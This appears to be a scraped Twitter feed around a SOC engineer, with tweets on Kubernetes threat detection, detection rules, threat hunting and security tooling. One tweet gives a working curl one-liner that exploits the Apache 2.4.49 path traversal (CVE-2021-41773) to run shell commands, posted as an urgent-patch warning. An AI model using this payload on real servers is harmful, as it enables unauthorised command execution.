Alexander Bolshakov

Building SOC for fun and profit

[Anton @BigToni94]

This is my article about threat detection approaches in Kubernetes environments.

I hope some of the ideas, detections, or monitoring techniques will be useful for other SOC/Detection Engineering teams working with K8s

Topics covered:
• K8s threat detection
• Audit logs
• Falco
• SIEM detections
• Threat hunting approaches
https://t.co/vH56bYkz4Z
#Kubernetes #K8S #ThreatDetection #SOC #DetectionEngineering #CyberSecurity

[Jose Rodriguez 🇵🇪 @Cyb3rPandaH]

Kicking off 2024🚀with a blog series on traditional & generative AI in cybersecurity🤖Uncover how each excels, their complementary roles, and why traditional AI remains vital for core detection🛡️This post lays the foundation for key concepts🤓Stay tuned!! https://t.co/LcF7B61cfI

[Roberto Martínez @r0bertmart1nez]

New Microsoft Incident Response team guide shares best practices for security teams and leaders | Microsoft Security Blog #DFIR https://t.co/imykBOtDNl

[tuckner @tuckner]

Launching the interactive Automation Capability Matrix tool today!

https://t.co/uk0r9gnz0t

The matrix started a little over a year ago (https://t.co/SfYbFldlQq) and has been available on Notion since January (https://t.co/OQoi8QD48Z).

Since the initial release, I have used the matrix working with numerous organizations. It offers a solid foundation for beginners to understand what is possible with security automation. For more advanced programs, it serves as a source of inspiration for future implementations, a tool to gauge success, and a means to report outcomes.

Now, the matrix can be fully customized to fit your needs. This includes:

• Adding new categories and capabilities.
• Organizing according to your priorities.
• Tracking automation workflows that align with these capabilities.
• Export the configuration
• Dark & light mode

The best part? All of this configuration is stored locally in your browser for privacy. Additionally, the app is also available on GitHub for those who prefer to run it themselves or contribute.

https://t.co/blrNPhuzQh

Happy automating!

[Teymur @HeirhabarovT]

Some days ago I and @DbThumb provided talk about Hunting for macOS attack techniques on @PHDays12. Slides are available now!
#ThreatHunting #ThreatDetection #DFIR #SOC #incidentresponse #PHDays12

https://t.co/8cofWwnc1c

[Ivan Velichko @iximiuz]

My annual recap is out:

- The best posts and projects of 2022
- Some plans for 2023
- A bunch of great reads for the holiday season

Sharing is caring 👇

https://t.co/YfbNca43LC

[Aleksandar Milenkoski @milenkowski]

We analyzed a massive set of 27510 malicious LNK samples from @virustotal➡️Turns out explorer.exe (with a whooping 87.2% prevalence) is the most abused lolbin, followed by powershell.exe (7.3%), wscript.exe (4.4%), and rundll32.exe (0.5%). More stats⬇️

https://t.co/2T8ZcxIEHp

[Joe Desimone @dez_]

We just released 1000+ yara rules and 200+ endpoint behavior rules https://t.co/33PMWZIlky

[Alexander Bolshakov @spacepatcher]

I reduced a flow of DNS events by a factor of 30 using @vectordotdev aggregation mechanism (transform Dedupe) with almost no loss of information! The performance is amazing. Small victories in the daily SOC routine :)

[Alexander Bolshakov @spacepatcher]

@ippsec Look closer at #eBPF. Modern EDRs and threat actors love this technology. I am not even talking about #Cilium and stuff like that.

[Alexander Bolshakov @spacepatcher]

#GoogleWorkspace is capable of blocking ALL access from particular PC to corporate Google account without providing any information about the malware or the threat that caused blocking... Even for #GWS administrator.
Why so obscure?

https://t.co/dZXMhiX7cG

[Matthew Prince 🌥 @eastdakota]

When I read this story by @troyhunt about how @Cloudflare and @Azure misfired to cause a huge bill I felt terrible. I reached out to @scottgu and proposed we split Troy's cost. Scott immediately agreed. Great to support our mutual customers! https://t.co/CPQUX73OaF

[Alexander Bolshakov @spacepatcher]

I've published the code for some of the scripts I use to fill #Splunk assets. Feel free to use.
https://t.co/rmxVWRLxzt

[IPinfo – IP Data Provider @ipinfo]

🚨 CYBER MONDAY DEALS! 🚨

We have two excellent deals on offer.

1/ Free IP WHOIS API access!
2/ A hugely discounted premium plan!

Full details are in this thread 👇🧵

[Ring3API 🇺🇦 @ntlmrelay]

📌Hunting for Persistence in #Linux (Part 1): Auditd, #Sysmon, #Osquery, and Webshells

➡️https://t.co/fPSilbwyrm

Author: @__pberba__ 🔥
#threathunting #blueteam #redteam #DFIR #Security

[Alex @alexanderjaeger]

⏰ ⏰ Part 2 of my blog series to connect @virustotal @TimesketchProj and @sigma_hq: https://t.co/EWTJ9fLWZf. This time we take a Sigma rule and adjust the Timesketch config to make it work. Enjoy and share if you found it useful. ⏰ ⏰

[hacker.house @hackerfantastic]

Here's how to run full commands with arguments via CVE-2021-41773 via a path traversal vulnerability in the event mod-cgi is enabled on Apache 2.4.49

curl --data "A=|id>>/tmp/x;uname\$IFS-a>>/tmp/x" 'http://127.0.0.1:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh' -vv

Patch urgently.

[Ax Sharma @Ax_Sharma]

🚨 Apache has disclosed an *actively exploited* Path traversal flaw in the #opensource "httpd" server. Over 112,000 exposed Apache servers run version 2.4.49, and should be upgraded now!
New fix checks for encoded path traversal characters e.g. /../.%2E/

https://t.co/1tLNc3LAul

[Nasreddine Bencherchali @nas_bench]

Windows Services (Creation) Mind Map covering service creation and detection methods.

Link: https://t.co/CK1HFcUyC6

#Detection #BlueTeam #Windows #Services

[Microsoft Threat Intelligence @MsftSecIntel]

New blog post: Analyzing attacks that exploit the CVE-2021-40444 MSHTML vulnerability https://t.co/UJbuvdMU1r